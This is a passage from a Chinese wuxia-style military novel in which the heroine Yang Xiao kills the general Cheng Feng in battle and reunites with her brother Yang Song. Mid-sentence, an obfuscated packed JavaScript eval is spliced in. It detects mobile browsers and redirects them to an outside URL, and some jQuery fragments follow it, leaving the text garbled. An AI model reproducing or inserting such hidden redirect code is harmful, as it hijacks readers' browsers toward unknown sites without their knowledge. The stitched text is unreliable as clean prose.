杨筱不禁倒吸一口凉气,心里暗道不好,赶忙横枪抵挡。
她闭眼咬牙往上一抗,意料之中的重压却迟迟不肯落下。
只听“砰”的一声响,一阵狂风从她脸前掠过。她簌然抬眸,但见眼前杨崧早已掉转矛头,举起长枪猛地一扛,程锋那大刀竟被直直扛了回去,宽大的刀刃在随势而起的风中不断嗡鸣着。
“杨崧!你干什么!”
那副将程锋不可置信地瞪着杨崧,殊不知阵后的白铭早已带了人马,往山后围去。
杨筱望着争执不下的两人,趁机一扯缰绳,夺路而走。
“你……”冲到阵前的程锋满眼怒意地瞪了杨崧一眼,又转眼望到闪身而去的杨筱,气急败坏地骂了一句,转而举起大刀奋蹄追去,“杨筱,休走!”
杨筱伏在马背上,回眸望着程锋紧追不舍的身影,心中顿时有了主意。她沉下心来,抬手握住枪尖往后一扎,银枪便匿在她的披风中悄悄掉了个儿。
她把枪握在肋骨之侧,侧眸往后一瞥,唇角攀上了几点笑意。
此等距离,不正是回马枪的最好时机么?
打定主意,她猛地一扯缰绳,赤炼嘶鸣一声扬起双蹄,杨筱一转腰身,仰头向后刺去。
只见那程锋似是早已有了准备,将那大刀高高举起。
阳光一映,刀锋上竟还闪着几许乳白晶莹的光,颇像将什么汁液淋在刀上了。
杨筱瞳孔骤然一缩,暗道不好。可自己的枪已然向后掼去,直刺程锋的喉咙。
而程锋脸上非但没有惧色,反尽是狂妄的笑容。“镗啷”一声,两杆兵器顿时绞在一起,程锋笑意一沉,扯着刀往后一拽,欲要把杨筱整个带到马下。
杨筱心下顿时一慌,她猛地挣开手中长枪,一扬马鞭掉头就跑。
顾不得喘息,她赶忙低头看向自己的枪。果不其然,原本雪亮的枪尖之上,也被沾上了些许乳白色液体。
她不由得一阵寒颤,轻呼一口气攥紧长枪,不顾一切地向前冲去,赤炼也知晓了什么似的,一下子跑得飞快,二人距离也越拉越远。
刹那之间,面前扬沙四起,喊杀声震天,一道再熟悉不过的身影朝她眼前奔来。
“阿筱,莫慌。”白铭清亮的声音顿时在头顶响起,杨筱抬眸一看,但见白铭从她面前如疾风般掠过,他镇定地一点头,眸中全是安抚之意,“退到我身后。”
“白铭,等等!”杨筱见状不由得心下一紧,赶忙回首去拦,可一转身,只见白铭早已提枪冲了上去,直照程锋攻了上去。
程锋见白铭前来,又是一阵放肆的大笑,“好啊,”他一挥大刀,“又来一个送死的,看招!”
白铭冷笑一声,并不答话,可牙关早已紧紧咬死,他奋力舞动银枪,招招攻向那程锋的要害,而那程锋却越挫越勇,在鞍桥上嚣张地笑着,没了命似的舞着刀劈向白铭。
杨筱的冷汗顿时渗出背脊,她顾不得别的,赶忙将枪倒在左手,一拨右手护臂,猛地向前一甩。
一缕银光破风而过,发出微不可察的簌簌响声,一道游丝般的日光贯穿程锋的脖子。刹那间,只见他蓄满杀意的眼神不由得迷离了半分,举起的大刀也怔在空中。
下一秒,只见一柄银枪横穿而过,“砰”的一声直扎在那程锋的脖颈之上。
一瞬之间,那银枪带着程锋直接从鞍桥上飞了出去,直直砸在赶来的杨崧面前,吓得那战马扬蹄嘶鸣一声,连连后退几步。
白铭望见眼前景象不由得一惊,他回眸一望,但见尚未收势的杨筱如释重负般坐在鞍桥上,徐徐喘着气。
“吁,吁!”杨崧皱眉扯了两下缰绳,那战马一下子就被安抚停当。他稳坐在鞍桥上,抬眸望向杀气未脱的白铭,微微颔首笑道:“莫非阁下就是照青将军?久仰。”
“在下白铭,见过杨将军。”白铭也收了势,朝杨崧一抱拳。
“兄长别来无恙啊。”
还没等白铭答复,便见赤炼缓缓朝二人走来,杨筱早已敛去方才满身的锐气和谨慎,含笑抬眸朝杨崧一抱拳。
杨崧朝她笑着一点头,回身去拔杨筱那柄枪。但见银枪将程锋的脖子彻底贯穿,还牢牢扎在了地里。
杨崧一用力,将那枪从土里带出,递到杨筱手中,“方才之战,果真让我大开眼界。”
“兄长谬赞,若非您帮我拦下程锋那一击,恐怕我现在还生死未卜。”她笑叹一声,又回眸满目牵挂地望向白铭,“怎样,你还好吗?”
“放心,我无碍。”白铭朝杨筱轻轻点了点头,又转眸望向杨崧。
杨崧抬眸感慨万般地望向杨筱,似是有什么话想说,又被他尽数咽了下去。他轻笑着摇了摇头,“交手之前本有很多话想对你说,但现在,似是一切都了然了。”
“我又何尝不是如此啊,”杨筱轻笑着摇了摇头,“不过现在,你和父亲一切安好,便也够了。”
“父亲他……”杨崧闻言不由得蹙了蹙眉,转而垂下眸去,惭愧地轻叹一声,“不光父亲,连我也是。自打将你托付于齐老先生的时候,我们便心痛万分,深觉对不住你。可我们……”他眼眶微红,顿觉什么解释都苍白无力。
杨筱望着杨崧,顿觉眼前一阵恍惚,她阖了阖眸,轻舒一口气,又抬眸含笑向他,“时局所迫,我又岂会不能体谅?更何况,我在外历练十余年,所得也不见得比家里差啊。”
“你竟会这么想……”杨崧声音不觉间颤抖几分,“不对,”他释然地轻笑一声,又抬眸感慨地望向杨筱,“应当说,‘能如此释然,不愧是你’。不过话虽如此,我与父亲确是实实在在地对不住你。”
杨筱笑着摇了摇头,“我本还担心萧砚篡权之时会对你们有所欺压,现在看来,萧砚待你不薄啊。”
“哦?”杨崧闻言不由得来了兴致,他侧眸望向杨筱,“何以见得?”
杨筱轻笑着一转枪,故作神秘地凑上前去,“我还知道你们内部有朋党之争,是也不是?”
“这……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16122954|174118||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”杨崧不由得愣在原地,“你是如何得知?”
“萧砚待你不薄,倘若我同你说了,再传入她的耳朵,岂不是每每出战都要奔我而来?”杨筱傲气地一抱臂,又抬眸望着杨崧,笑着摇摇头,“罢了,不说笑了。”
杨崧点点头,洗耳恭听般在鞍桥上坐着,“愿闻其详。”
“萧韫想要称帝的事情名声不算小,那为何他宣扬这么多年却还未登基?能处处压他一头的,除了萧砚,还能有谁?”
她认真地望向若有所思的杨崧,继续道:“萧韫野心不小,可萧砚迟迟不出兵又是为何?总不可能只是简简单单的给长安修房子吧?司州并州势力与我主并不逊色,按兵不动之理由,也只有一个。”她抬手点了点杨崧,其中缘由不言而喻。
说罢,她又转眸看了看地上早已绝命的程锋,脖颈处喷出的鲜血早已将沙地凝为紫色,“还有这位,”她不由得意味深长地笑了起来,“素未谋面,我就给萧砚当了一次刀啊。”
她回身望向仔细听着的杨崧和白铭,“萧砚的大将,与萧韫的亲信一同出战,必定会有一人折在半路上,而那人,只能是他。”
没等杨崧接起话来,她便抬手点点杨崧,全然不留接话的机会,“萧砚在战书上落下你的名字,那便是指名要我迎战,你我血脉相连,她笃定你我相见不会伤及性命,那么这名程锋将军……”
她说着睨了一眼地上的程锋,又笑着望向杨崧,“是我与白将军的敌人,又是你的政敌,哪里还有生还的可能?你不能伤及同僚,便只能由我动手,如此,便造成这程锋战死的局面。”
她冷哼一声,不屑地闭了闭眼,“只是此人出手太过阴险狠毒,无论留他在哪,都后患无穷。”
听罢杨筱的一通分析,杨崧惊得一时间说不出话来,只得看看杨筱,又看看地上的程锋,满目赞许地频频点头。
“仅此一战,便能看出万千事态,”杨崧笑叹一声,感怀而又欣慰地望向杨筱,“我和父亲,果然没有看错你。”
杨筱轻笑着摇了摇头,“萧砚既然这样安排,自然也做好了将一切昭示与我的准备,恐怕我现在所想,也在她的计划中吧。”
她像想到什么似的一拍手,“对了,兄长,程锋虽战死沙场,但还是别让他马革裹尸了,省的让你回去陷入什么坑害同僚的事端之中。”她向前一凑,“萧韫这人,提防些总没坏处。”
“好,”杨崧笑着点了点头,“那便按你的想法来。”
“那我们便将此人留在此地了,”杨筱也朝杨崧一点头,不由得感怀地叹了一口气,“今日能在此地与兄长切磋,已是平我多年之憾……”
“绫玉,且慢。”他阖眸长叹一声,郑重地一牵缰绳,策马款步走到杨筱身前,望着她流霞般透亮的眼眸,缓声道:“你今日的风姿,与母亲生前披靡之态,别无二致。”
杨筱闻言不由得愣在原地,“什么?”
杨崧微微一颔首,万般感慨地望向她,“来,你伸手。”